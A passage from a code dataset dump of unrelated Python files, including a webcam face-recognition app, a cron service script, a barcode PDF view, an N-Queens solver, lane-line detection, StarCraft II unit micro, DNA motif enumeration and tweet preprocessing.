obter_rato(win, mesa, robot, balcao, menu, doc)\n if __name__ == '__menu__':\n segunda()","sub_path":"Segunda_Implementacao.py","file_name":"Segunda_Implementacao.py","file_ext":"py","file_size_in_byte":23071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"326892706","text":"import cv2\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nfrom threading import Thread\r\nfrom imutils import face_utils\r\n\r\nfrom pca_basic_utils import *\r\nimport time , os, dlib\r\nimport numpy as np\r\n\r\n\r\nclass video(QObject):\r\n\r\n sendImage = pyqtSignal(QImage)\r\n prograss_run = pyqtSignal()\r\n\r\n # load model\r\n model_path = 'models/opencv_face_detector_uint8.pb'\r\n config_path = 'models/opencv_face_detector.pbtxt'\r\n predictor_path = 'models/shape_predictor_68_face_landmarks.dat'\r\n net = cv2.dnn.readNetFromTensorflow(model_path, config_path)\r\n predictor = dlib.shape_predictor(predictor_path)\r\n\r\n conf_threshold = 0.5\r\n \r\n def __init__(self, widget):\r\n super().__init__()\r\n self.widget = widget\r\n self.sendImage.connect(self.widget.recvImage)\r\n self.util = utils()\r\n \r\n \r\n def startCam(self):\r\n self.pca = PCA()\r\n try:\r\n self.cap = cv2.VideoCapture(0)\r\n except Exception as e:\r\n print('Cam Error : ', e)\r\n else:\r\n try:\r\n self.bThread = True\r\n self.thread = Thread(target=self.detection)\r\n self.thread.start()\r\n except Exception as e:\r\n print('Cam Error2 : ', e)\r\n \r\n\r\n def stopCam(self):\r\n self.bThread = False\r\n\r\n def detection(self):\r\n time_count = 0\r\n time_list = []\r\n\r\n while self.bThread:\r\n ok, frame = self.cap.read()\r\n if not ok:\r\n print('cam read errror')\r\n break\r\n if(time_count<100):\r\n start = time.time()\r\n \r\n\r\n img = cv2.flip(frame,1) # 1 = 좌우반전 0 = 상하반전\r\n h, w, _ = img.shape\r\n # prepare input\r\n blob = cv2.dnn.blobFromImage(img, 1.0, (300, 300), [104, 117, 123], False, False)\r\n self.net.setInput(blob) \r\n\r\n # inference, find faces\r\n detections = self.net.forward() \r\n rotate_img = img.copy()\r\n\r\n # postprocessing\r\n for i in range(detections.shape[2]):\r\n confidence = detections[0, 0, i, 2]\r\n if confidence > self.conf_threshold:\r\n x1 = int(detections[0, 0, i, 3] * w)\r\n y1 = int(detections[0, 0, i, 4] * h)\r\n x2 = int(detections[0, 0, i, 5] * w)\r\n y2 = int(detections[0, 0, i, 6] * h)\r\n\r\n # draw rects\r\n \r\n # cv2.putText(img, '%.2f%%' % (confidence * 100.), (x1, y1-10), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2, cv2.LINE_AA)\r\n \r\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n\r\n d = dlib.rectangle(x1,y1,x2,y2)\r\n\r\n shape = self.predictor(gray, d)\r\n shape = face_utils.shape_to_np(shape)\r\n\r\n crop_img = self.util.CropFace(image = rotate_img, eye_left=shape[36], eye_right=shape[45], shape= shape)\r\n\r\n name = self.pca.face_test(crop_img)\r\n\r\n if(name == \"None\"):\r\n cv2.rectangle(img, (x1, y1), (x2, y2), (0, 0, 200), int(round(h/150)), cv2.LINE_AA)\r\n cv2.putText(img, '%s'%name , (x1, y1-10), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 200), 2, cv2.LINE_AA)\r\n else:\r\n cv2.rectangle(img, (x1, y1), (x2, y2), (255, 0, 0), int(round(h/150)), cv2.LINE_AA)\r\n cv2.putText(img, '%s'%name , (x1, y1-10), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2, cv2.LINE_AA)\r\n\r\n\r\n \r\n # create image\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n \r\n img = QImage(img, w,h, QImage.Format_RGB888 ) \r\n self.sendImage.emit(img)\r\n \r\n if(time_count<100):\r\n run_time = time.time() - start\r\n time_list.append(run_time)\r\n time_count += 1\r\n #print(\"time :\",run_time )\r\n \r\n if(time_count == 100):\r\n time_arry = np.array(time_list)\r\n time_mean = time_arry.mean()\r\n #print(\"100 frame mean time :\",time_mean ) \r\n #print(\"fps : %.1f\"%(1./float(time_mean)))\r\n time_count += 1\r\n time.sleep(0.01)\r\n self.sendImage.emit(QImage())\r\n self.cap.release()\r\n print('thread finished')\r\n \r\n\r\n def startRegister(self,name):\r\n try:\r\n self.cap = cv2.VideoCapture(0)\r\n self.name = name\r\n self.prograss_run.connect(self.widget.progress)\r\n except Exception as e:\r\n print('Cam Error : ', e)\r\n else:\r\n try:\r\n self.bThread = True\r\n self.thread = Thread(target=self.Register)\r\n self.thread.start()\r\n except Exception as e:\r\n print('Cam Error2 : ', e) \r\n\r\n\r\n def Register(self):\r\n \r\n # print(\"Register name : \", self.name)\r\n count_cropFace = -5\r\n # run_count=0\r\n \r\n while self.bThread and count_cropFace != 50:\r\n ok, frame = self.cap.read()\r\n if not ok:\r\n print('cam read errror')\r\n break\r\n \r\n img = cv2.flip(frame,1) # 1 = 좌우반전 0 = 상하반전\r\n h, w, _ = img.shape\r\n # prepare input\r\n blob = cv2.dnn.blobFromImage(img, 1.0, (300, 300), [104, 117, 123], False, False)\r\n self.net.setInput(blob) \r\n\r\n # inference, find faces\r\n detections = self.net.forward() \r\n rotate_img = img.copy()\r\n\r\n count_face = 0\r\n # postprocessing\r\n for i in range(detections.shape[2]):\r\n confidence = detections[0, 0, i, 2]\r\n if confidence > self.conf_threshold:\r\n x1 = int(detections[0, 0, i, 3] * w)\r\n y1 = int(detections[0, 0, i, 4] * h)\r\n x2 = int(detections[0, 0, i, 5] * w)\r\n y2 = int(detections[0, 0, i, 6] * h)\r\n \r\n d = dlib.rectangle(x1,y1,x2,y2)\r\n \r\n # draw rects\r\n cv2.rectangle(img, (x1, y1), (x2, y2), (255, 255, 255), int(round(h/150)), cv2.LINE_AA)\r\n cv2.putText(img, '%.2f%%' % (confidence * 100.), (x1, y1-10), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2, cv2.LINE_AA)\r\n if count_cropFace > -1:\r\n cv2.putText(img,str(count_cropFace),(50,50),cv2.FONT_HERSHEY_COMPLEX,1,(0,255,0),2)\r\n count_face += 1\r\n \r\n if(count_face == 1):\r\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n \r\n shape = self.predictor(gray, d)\r\n shape = face_utils.shape_to_np(shape)\r\n\r\n crop_img = self.util.CropFace(image = rotate_img, eye_left=shape[36], eye_right=shape[45], shape= shape)\r\n\r\n if not os.path.exists(\"faces/%s\"%self.name): \r\n os.makedirs(\"faces/\"+self.name) \r\n \r\n file_name_path = 'faces/%s/'%self.name +str(count_cropFace)+'.jpg'\r\n if count_cropFace > -1:\r\n cv2.imwrite(file_name_path,crop_img)\r\n count_cropFace += 1 \r\n\r\n # create image\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n \r\n img = QImage(img, w, h, QImage.Format_RGB888 ) \r\n self.sendImage.emit(img)\r\n\r\n \r\n time.sleep(0.01)\r\n # self.sendImage.emit(QImage())\r\n self.cap.release()\r\n if(count_cropFace == 50):\r\n self.prograss_run.emit()\r\n print('thread finished')\r\n\r\n","sub_path":"code/pca_basic_video.py","file_name":"pca_basic_video.py","file_ext":"py","file_size_in_byte":8024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"353522111","text":"from comar.service import *\n\nserviceType = \"local\"\nserviceDesc = _({\"en\": \"Cron Task Scheduler\",\n \"tr\": \"Cron Görev Zamanlayıcı\"})\n\ndef start():\n ret = run(\"start-stop-daemon --start --quiet --exec /usr/sbin/cron\")\n if ret == 0:\n notify(\"System.Service.changed\", \"started\")\n else:\n fail(\"Unable to start service\")\n\ndef stop():\n ret = run(\"start-stop-daemon --stop --quiet --pidfile /var/run/cron.pid\")\n if ret == 0:\n notify(\"System.Service.changed\", \"stopped\")\n else:\n fail(\"Unable to stop service\")\n\ndef status():\n return checkDaemon(\"/var/run/cron.pid\")\n","sub_path":"pardus/tags/2007/system/base/vixie-cron/comar/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"515989140","text":"from django.shortcuts import render\n\nfrom reportlab.pdfgen import canvas\nfrom django.http import HttpResponse\nfrom reportlab.graphics.shapes import Drawing \nfrom reportlab.graphics.barcode import code128 \nfrom reportlab.graphics import renderPDF\n\nimport math\n\nfrom .forms import NameForm\n\nlineLength = 3\nperPage = 18\nsize = 190\nratio = 0.7\n\ndef index(request):\n # if this is a POST request we need to process the form data\n if request.method == 'POST':\n # create a form instance and populate it with data from the request:\n form = NameForm(request.POST)\n # check whether it's valid:\n if form.is_valid():\n # process the data in form.cleaned_data as required\n # ...\n # redirect to a new URL:\n name = form.cleaned_data['your_name']\n\n # Create the HttpResponse object with the appropriate PDF headers.\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'inline; filename=\"somefilename.pdf\"'\n\n p = canvas.Canvas(response)\n\n i = 0\n\n for i in range(0, 250):\n if (i % perPage == 0 and i != 0):\n p.showPage()\n\n refX = size * ((i % perPage) % lineLength)\n refY = ratio * size * math.floor((i % perPage) / lineLength)\n\n barcodeStr = name + \"-\" + str(i + 1)\n\n barcode = code128.Code128(barcodeStr, barHeight=70, barWidth=1)\n barcode.drawOn(p, refX, refY + 25)\n\n p.drawString(refX + 70, refY + 15, barcodeStr)\n\n p.showPage()\n p.save()\n return response\n\n # if a GET (or any other method) we'll create a blank form\n else:\n form = NameForm()\n\n return render(request, 'name.html', {'form': form})\n\n# Create your views here.\ndef test_qr(request):\n # Create the HttpResponse object with the appropriate PDF headers.\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'inline; filename=\"somefilename.pdf\"'\n\n p = canvas.Canvas(response)\n\n qrw = QrCodeWidget('Helo World!') \n b = qrw.getBounds()\n\n w=b[2]-b[0] \n h=b[3]-b[1] \n\n d = Drawing(45,45,transform=[45./w,0,0,45./h,0,0]) \n d.add(qrw)\n\n renderPDF.draw(d, p, 1, 1)\n\n p.showPage()\n p.save()\n return response\n","sub_path":"myapp/example/simple/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"614901925","text":"from setuptools import setup, find_packages\nfrom codecs import open\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\n# Get the long description from the README file\nwith open(path.join(here, 'README.rst'), encoding='utf-8') as f:\n long_description = f.read()\n\n\nREQUIREMENTS = [\n 'html5print',\n 'jinja2',\n 'tornado',\n ]\n\n\nTEST_REQUIREMENTS = ['pytest-tornado',\n ]\n\n\nsetup(\n name='conda-channel-browser',\n version='0.1dev0',\n description='A webapplication for browsing a conda channel',\n long_description=long_description,\n url='https://github.com/pelson/conda-channel-browser',\n author='Phil Elson',\n author_email='pelson.pub@gmail.com',\n keywords='conda channel web application',\n packages=find_packages(exclude=[]),\n python_requires='>=3.5',\n install_requires=REQUIREMENTS,\n extras_require={\n 'test': TEST_REQUIREMENTS,\n },\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"72354613","text":"# File: Queens.py\n\n# Description: Determining number of queen solutions for a given chess board\n\n# Student Name: Richard Paredes\n\n# Student UT EID: ROP242\n\n# Partner Name:\n\n# Partner UT EID:\n\n# Course Name: CS 313E\n\n# Unique Number: 50730 \n\n# Date Created: 03/31/2019\n\n# Date Last Modified: 03/31/2019\n\nnumSolutions = 0\n\nclass Queens (object):\n # initialize the board\n def __init__ (self, n = 8):\n self.board = []\n self.n = n\n for i in range (self.n):\n row = []\n for j in range (self.n):\n row.append ('*')\n self.board.append (row)\n\n # print the board\n def print_board (self):\n for i in range (self.n):\n for j in range (self.n):\n print (self.board[i][j], end = ' ')\n print ()\n\n # check if no queen captures another\n def is_valid (self, row, col):\n for i in range (self.n):\n if (self.board[row][i] == 'Q'):\n return False\n for i in range(self.n):\n if (self.board[i][col] == 'Q'):\n return False\n for i in range (self.n):\n for j in range (self.n):\n row_diff = abs (row - i)\n col_diff = abs (col - j)\n if (row_diff == col_diff) and (self.board[i][j] == 'Q'):\n return False\n return True\n\n def hasEmptyCol(self):\n for i in range(self.n):\n if self.board[i][0] == 'Q':\n return False\n return True\n\n # do a recursive backtracking solution\n def recursive_solve (self, col):\n if (col == self.n):\n # print()\n # self.print_board()\n global numSolutions\n numSolutions += 1\n\n else:\n #ensures the board doesn't continue with an empty first column\n if col > 0 and self.hasEmptyCol():\n return\n for row in range (self.n):\n if self.is_valid(row, col):\n self.board[row][col] = 'Q'\n self.recursive_solve(col + 1)\n self.board[row][col] = '*'\n\n \n # if the problem has a solution print the board\n def solve (self):\n for i in range (self.n):\n self.recursive_solve(i)\n \ndef getBoardSize():\n num = 0\n while (num < 2) or (num > 100):\n num = input(\"Enter the size of board: \")\n #tries to convert input to integer if possible\n while True: \n try:\n num = int(num)\n break\n except ValueError:\n num = input(\"Enter the size of board: \")\n return num\n\n\ndef main():\n #getting size of board\n size = getBoardSize()\n # create a regular chess board\n game = Queens (size)\n\n # place the queens on the board\n game.solve()\n print(\"\\nNumber of solutions: \" + str(numSolutions))\n\nmain()\n\n\n","sub_path":"Algorithms/Notes/newQueens.py","file_name":"newQueens.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"1144026","text":"# opencv\nimport cv2\n\n# matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport matplotlib.cm as cm\n\n# my code\nfrom lane_line_img_processing import *\nfrom image_generators import *\n\n# numpy\nimport numpy as np\n\n\ndisplay_video_mode = True\nwrite_video_mode = False\nphoto_mode = False\n\ngen = None\n\n#define generators depending on the selected mode\nif display_video_mode:\n gen = video_generator(\"project_video.mp4\")\n\nelif photo_mode:\n gen = photo_generator(\"my_test_images\")\n\n# perform camera calibration\nmtx, dist = calibrate_camera(\"camera_cal\", 9, 6, False)\n\nlane_extractor = LaneExtractor()\n\n#enable starting at different points in the image sequence (set start to the first frame count to be processed)\n\nstart = 0\nctr_start = 0\n\ndef get_images(image, show_cv_windows=True):\n \"\"\"\n this function defines the image processing pipeline\n \"\"\"\n #undistort the input image based on the calibration information\n image_undist = cv2.undistort(image, mtx, dist, None, mtx)\n\n #perform perspective transformation\n ptrans_image_undist, M, Minv = perspective_tf_lane_lines(image_undist)\n\n #image segmentation\n ptrans_image_white_and_yellow_bin = get_yellow_and_white(ptrans_image_undist)\n\n #convert to BGR\n image_undist_bgr = cv2.cvtColor(image_undist, cv2.COLOR_RGB2BGR)\n\n #supply the next frame to the lane line extractor\n debug_image = lane_extractor.process_image(ptrans_image_white_and_yellow_bin)\n\n # retreive left lane line information\n left_lane_exists, left_lane = lane_extractor.left_lane()\n\n # retrieve right lane line information\n right_lane_exists, right_lane = lane_extractor.right_lane()\n\n # this is the image on which I will draw the lane lines and other graphics (in the perspective transformed frame)\n lane_lines_p_frame = np.zeros_like(image_undist_bgr)\n\n # if both lane lines exist, fill the area between them\n if left_lane_exists and right_lane_exists:\n fill_between_polys(lane_lines_p_frame, left_lane, right_lane)\n\n # if the left lane exists, draw a red polynomial to represent it\n if left_lane_exists:\n draw_poly(lane_lines_p_frame, left_lane, width=30, colour=(0,0,255))\n \n # if the right lane exists, draw a blue polynomial to represent it\n if right_lane_exists:\n draw_poly(lane_lines_p_frame, right_lane, width=30, colour=(255,0,0))\n ret, right_curv = lane_extractor.right_curvature()\n \n # transform the image back into the original (undistorted) camera frame by applying the inverse perspective transform\n lanes_orig_frame = cv2.warpPerspective(lane_lines_p_frame, Minv, lane_lines_p_frame.shape[1::-1], cv2.INTER_LINEAR)\n\n # blend the graphics into the original image\n lanes_orig_frame = cv2.addWeighted(image_undist_bgr, 1.0, lanes_orig_frame, 1.0, 0.0)\n\n # calculate and draw curvature values\n left_curv_exists, left_curv = lane_extractor.left_curvature()\n right_curv_exists, right_curv = lane_extractor.right_curvature()\n\n left_text_loc = (int(lanes_orig_frame.shape[1]*0.05), int(lanes_orig_frame.shape[0] * 0.6))\n right_text_loc = (int(lanes_orig_frame.shape[1]*0.7), int(lanes_orig_frame.shape[0] * 0.6))\n dist_to_center_loc = (int(lanes_orig_frame.shape[1]*0.2), int(lanes_orig_frame.shape[0] * 0.3))\n avg_curv_loc = (int(lanes_orig_frame.shape[1]*0.2), int(lanes_orig_frame.shape[0] * 0.25))\n\n if left_curv_exists:\n cv2.putText(lanes_orig_frame, \"left curv radius: \" + str(round(left_curv,2)), left_text_loc, cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0,255,0), 2, cv2.LINE_AA)\n \n if right_curv_exists:\n cv2.putText(lanes_orig_frame, \"right curv radius: \" + str(round(right_curv,2)), right_text_loc, cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0,255,0), 2, cv2.LINE_AA)\n\n if left_lane_exists and right_lane_exists:\n dist_to_center, width = lane_extractor.get_mid_column(image.shape[0] - 1, image.shape[1] // 2)\n cv2.putText(lanes_orig_frame, \"distance to center: \" + str(round(dist_to_center,3)) + \" [m] width: \" + str(round(width,3)) + \" [m]\" , dist_to_center_loc, cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0,255,0), 2, cv2.LINE_AA)\n\n if left_curv_exists and right_curv_exists:\n cv2.putText(lanes_orig_frame, \"average curv radius: \" + str(round((left_curv + right_curv) / 2.0, 2)) + \" [m]\", avg_curv_loc, cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0,255,0), 2, cv2.LINE_AA)\n\n if show_cv_windows:\n cv2.imshow(\"image (original)\", cv2.cvtColor(image, cv2.COLOR_RGB2BGR))\n cv2.imshow(\"image\", image_undist_bgr)\n cv2.imshow(\"debug_image\", debug_image)\n cv2.imshow(\"ptrans_image_undist\", cv2.cvtColor(ptrans_image_undist, cv2.COLOR_RGB2BGR))\n cv2.imshow(\"lanes_orig_frame\", lanes_orig_frame)\n # cv2.imshow(\"drawn_lines_img_unperspective\", drawn_lane_lines_unperspective)\n # cv2.imshow(\"lanes image\", lane_image)\n \n cv2.waitKey(0)\n \n return lanes_orig_frame, debug_image\n\nif display_video_mode or photo_mode:\n\n for image in gen:\n\n ctr_start = ctr_start + 1\n if ctr_start < start:\n continue\n\n # lane_image = extract_lanes(ptrans_image)\n\n print(\"done\")\n\n if photo_mode:\n\n plt.subplot(331)\n plt.imshow(image)\n plt.title(\"original image\")\n\n plt.subplot(332)\n #plt.imshow(h, cmap=cm.gray, vmin=20, vmax=100) #hue\n plt.imshow(image_undist)\n plt.title(\"undistorted image\")\n\n plt.subplot(333)\n plt.imshow(image_white_and_yellow_bin)\n plt.title(\"white and yellow binary\")\n\n plt.subplot(334)\n plt.imshow(l, cmap='gray') #lightness\n plt.title(\"lightness\")\n plt.subplot(335)\n plt.imshow(h, cmap='gray') #hue\n plt.subplot(336)\n plt.title(\"hue\")\n plt.imshow(s, cmap='gray') #saturation\n plt.title(\"saturation\")\n plt.subplot(338)\n plt.imshow(yellow_h, cmap=cm.gray, vmin=0, vmax=1)\n plt.subplot(339)\n # plt.imshow(yellow_s, cmap=cm.gray, vmin=0, vmax=1)\n plt.imshow(yellow_s, cmap='gray')\n\n # cv2.imshow(\"yellow select\", yellow_select)\n\n # cv2.waitKey(0)\n\n mng = plt.get_current_fig_manager()\n mng.resize(*mng.window.maxsize())\n\n plt.show()\n\n elif display_video_mode:\n lanes_orig_frame, debug_image = get_images(image, show_cv_windows=True)\n\nif write_video_mode:\n # use this mode to write a video to disk for the purposes of video submission.\n \n from moviepy.editor import VideoFileClip\n\n video_name = \"project_video\"\n\n def get_video_image(image):\n lanes_orig_frame, debug_image = get_images(image, show_cv_windows=False)\n return cv2.cvtColor(np.hstack((lanes_orig_frame, debug_image.astype(np.uint8))), cv2.COLOR_BGR2RGB)\n\n test_clip = VideoFileClip(video_name + \".mp4\")\n output_vid = test_clip.fl_image(get_video_image)\n output_vid.write_videofile(video_name + \"_output.mp4\")","sub_path":"lane_process_main.py","file_name":"lane_process_main.py","file_ext":"py","file_size_in_byte":7061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"653082363","text":"#!/usr/bin/env python\n# coding:utf-8\n\nimport pandas as pd\n#import matplotlib.pyplot as plt\n\nfilm=pd.read_csv(\"/home/hadoop/Desktop/arg/arg/film_log3.csv\",sep=\",\",names=['filmname','sdate','edate','company','director','performer','type','turnover','city'])\n #['电影名称','上映时间','下架时间','制作公司','导演', '演员', '类型', '票房','城市'])\ndf=film.loc[:,['filmname','sdate','edate','turnover']]\n##########################################################################\ndf['sdate']=pd.to_datetime(df['sdate'],format='%Y-%m-%d')#转化为datetime格式\ndf['edate']=pd.to_datetime(df['edate'],format='%Y-%m-%d')#转化为datetime格式\n################整理票房信息################################################\nbors=df['turnover']\nborlist=[]\nfor b in range(0,len(bors)):\n bor=bors[b].replace('票房(万)','')\n borlist.append(float(bor))\ndf['turnover']=borlist\n##########################################################################\ndef main(filmname,week):\n odf = df[df['filmname'] == filmname]\n days = (odf['edate'].max() - odf['sdate'].min()).days + 1 # 计算该电影的上映的天数\n money=odf['turnover'].sum() #计算该电影的总票房\n avg=money/days #求日平均票房\n weeklist=[0]\n while True:\n days=days-7\n if days>0:\n weeklist.append(7)\n elif days<=0:\n weeklist.append(days+7)\n break\n return weeklist[week]*avg\n\nfilmlist=[['《冲上云霄》',1],['《天将雄师》',2],['《坏蛋必须死》',3]]\noutputlines=[]\nfor i in filmlist:\n dataline=main(i[0],i[1])\n dataline=str(\"%.6f\"%dataline)\n outputlines.append(dataline)\nfile=file('/home/hadoop/Desktop/arg/arg/ans0303.dat','w')\nfile.write(','.join(outputlines))\nfile.close()\n","sub_path":"PycharmProjects/hadoop/ans0303.py","file_name":"ans0303.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"287356107","text":"import sys\nsys.stdin = open(\"input_color.txt\", \"r\")\n\ndef range_h(a, b):\n if a > b:\n return range(b, a + 1)\n else:\n return range(a, b + 1)\n\nT = int(input())\nfor tc in range(1, T+1):\n count = 0\n N = int(input())\n li = [list(map(int, input().split())) for S in range(N)]\n coordinates = [[0 for _ in range(10)] for _ in range(10)]\n for idx in range(len(li)):\n for i in range_h(li[idx][2], li[idx][0]):\n for j in range_h(li[idx][1], li[idx][3]):\n coordinates[j][i] += li[idx][4]\n for x in range(len(coordinates)):\n for y in range(len(coordinates[0])):\n if coordinates[x][y] >= 3:\n count += 1\n\n print(\"#%d %d\" %(tc, count))","sub_path":"05_알고리즘/190816/4836. [파이썬 SW 문제해결 기본] 2일차 - 색칠하기.py","file_name":"4836. [파이썬 SW 문제해결 기본] 2일차 - 색칠하기.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"241154625","text":"from flask import Blueprint, session, redirect, url_for, escape, request\nfrom functools import wraps\n\napp = Blueprint('auth', __name__)\n\n\ndef redirect_dest(fallback):\n dest = request.args.get('next')\n try:\n dest_url = url_for(dest)\n except:\n return redirect(fallback)\n return redirect(dest_url)\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if request.method == 'POST':\n session['username'] = request.form['username']\n return redirect_dest(fallback=url_for('index'))\n return '''\n
\n

\n

\n

\n '''\n\n\n@app.route('/logout')\ndef logout():\n session.pop('username', None)\n return redirect(url_for('index'))\n","sub_path":"blueprint_10_app2.py","file_name":"blueprint_10_app2.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"415281565","text":"\n'''\nCODE CHALLENGE: Implement MotifEnumeration.\n Input: Integers k and d, followed by a collection of strings Dna.\n Output: All (k, d)-motifs in Dna.\n\nSample Input:\n\n4 1\nCACTGATCGACTTATC\nCTCCGACTTACCCCAC\nGTCTATCCCTGATGGC\nCAGGGTTGTCTTGTCT\nSample Output:\n\nCAGA CCTT CTCT CTTA CTTG CTTT GACT GATT GCCT GGCT GTCT TATC TCTG TCTT TGAC TTAT TTTC\n'''\n\ndef ATGC_Combinations(k):\n bases = ['A', 'C', 'G', 'T']\n array = ['A', 'C', 'G', 'T']\n for n in range(k - 1):\n array1 = []\n for i in array:\n for j in bases:\n array1.append(i + j)\n array = array1\n return array \n\ndef Hamming_Distance(p, q):\n distance = 0\n for i in range(len(p)):\n if p[i] != q[i]:\n distance += 1 \n return distance\n\ndef Window(s, k):\n for i in range(1 + len(s) - k):\n yield s[i:i+k]\n\ndef in_window(combo, string, k, d):\n return any(Hamming_Distance(combo, pat) <= d for pat in Window(string, k))\n\ndef motif_enumeration(DNA, k, d):\n pattern = set()\n for combo in ATGC_Combinations(k):\n if all(in_window(combo, string, k, d) for string in DNA):\n pattern.add(combo)\n pt = list(pattern)\n return pt\n###############################################################################\nk, d = map(int, input().split(\" \"))\n\ns1 = input()\ns2 = input()\ns3 = input()\ns4 = input()\n\nDNA =list()\nDNA.append(s1)\nDNA.append(s2)\nDNA.append(s3)\nDNA.append(s4)\n\nres = motif_enumeration(DNA, k, d)\nres.sort()\nfor i in range (len(res)):\n res1=str(res[i])\n print(res1) ","sub_path":"4.1 Motif Enumeration Problem.py","file_name":"4.1 Motif Enumeration Problem.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"361576563","text":"\"\"\"Everything related to controlling hydralisks\"\"\"\nfrom sc2.constants import BANELING\nfrom actions.micro.micro_helpers import Micro\n\n\nclass ZerglingControl(Micro):\n \"\"\"Can be improved(Defense not utility)\"\"\"\n\n def micro_zerglings(self, unit, targets):\n \"\"\"Target low hp units smartly, and surrounds when attack cd is down\"\"\"\n if self.baneling_dodge(unit, targets):\n return True\n if self.zergling_modifiers(unit, targets):\n return True\n if self.move_to_next_target(unit, targets):\n return True\n self.controller.add_action(unit.attack(targets.closest_to(unit.position)))\n return True\n\n def baneling_dodge(self, unit, targets):\n \"\"\"If the enemy has banelings, run baneling dodging code.\"\"\"\n local_controller = self.controller\n action = local_controller.add_action\n self.handling_anti_banelings_group()\n if local_controller.enemies.of_type(BANELING):\n banelings = self.baneling_group(unit, targets)\n for baneling in banelings:\n # Check for close banelings and if we've triggered any banelings\n if baneling.distance_to(unit) < 4 and self.baneling_sacrifices:\n # If we've triggered this specific baneling\n if baneling in self.baneling_sacrifices.values():\n # And this zergling is targeting it, attack it\n if unit in self.baneling_sacrifices and baneling == self.baneling_sacrifices[unit]:\n action(unit.attack(baneling))\n return True\n # Otherwise, run from it.\n retreat_point = self.find_retreat_point(baneling, unit)\n action(unit.move(retreat_point))\n return True\n # If this baneling is not targeted yet, trigger it.\n return self.baneling_trigger(unit, baneling)\n return self.baneling_trigger(unit, baneling)\n return False\n\n def zergling_modifiers(self, unit, targets):\n \"\"\"Group modifiers for zerglings\"\"\"\n if self.zergling_atk_speed:\n if unit.weapon_cooldown <= 0.284 * 22.4: # 22.4 = the game speed times the frames per sec\n return self.attack_close_target(unit, targets)\n return self.move_to_next_target(unit, targets)\n if unit.weapon_cooldown <= 0.398 * 22.4:\n return self.attack_close_target(unit, targets)\n return False\n\n def baneling_group(self, unit, targets):\n \"\"\"Put the banelings on one group\"\"\"\n threats = self.trigger_threats(targets, unit, 5)\n # Check for banelings\n for threat in threats:\n if threat.type_id == BANELING:\n yield threat\n\n def handling_anti_banelings_group(self):\n \"\"\"If the sacrificial zergling dies before the missions is over remove him from the group\"\"\"\n local_controller = self.controller\n for zergling in list(self.baneling_sacrifices):\n if (\n zergling not in local_controller.units()\n or self.baneling_sacrifices[zergling] not in local_controller.enemies\n ):\n del self.baneling_sacrifices[zergling]\n\n def baneling_trigger(self, unit, baneling):\n \"\"\"If we haven't triggered any banelings, trigger it.\"\"\"\n self.baneling_sacrifices[unit] = baneling\n self.controller.add_action(unit.attack(baneling))\n return True\n","sub_path":"actions/micro/unit/zerglings.py","file_name":"zerglings.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"563763501","text":"import re\r\nimport nltk\r\nnltk.download('stopwords')\r\nnltk.download('punkt')\r\nfrom nltk.tokenize import TweetTokenizer\r\nfrom hunspell import Hunspell\r\nfrom collections import Counter\r\nimport pickle\r\n\r\nclass Preprocessing:\r\n \r\n def __init__(self, tweets, key_words, model, type_bow_tfidf, dic_hashtag):\r\n \r\n # textual features folder location\r\n directory = '/home/thiago-costa/projects/multimodal-fusion-floods-tweets-meteorological/textual-features/data/'\r\n \r\n # dictionaries folder location\r\n root_directory = '/home/thiago-costa/projects/multimodal-fusion-floods-tweets-meteorological/textual-features/data/dicionarios/'\r\n\r\n self.matriz_tokens = []\r\n self.vec_ids = []\r\n self.vec_index = []\r\n self.vec_labels = []\r\n self.dic = Hunspell('pt_BR', hunspell_data_dir=root_directory)\r\n self.stopwords = set(nltk.corpus.stopwords.words('portuguese'))\r\n \r\n self.out_of_sentence = 0\r\n\r\n self.count_non_existent = 0\r\n self.count_corrected_accepted = 0\r\n self.count_corrected_non_accepted = 0\r\n\r\n self.vec_fasttext = []\r\n self.vec_notfasttext = []\r\n\r\n 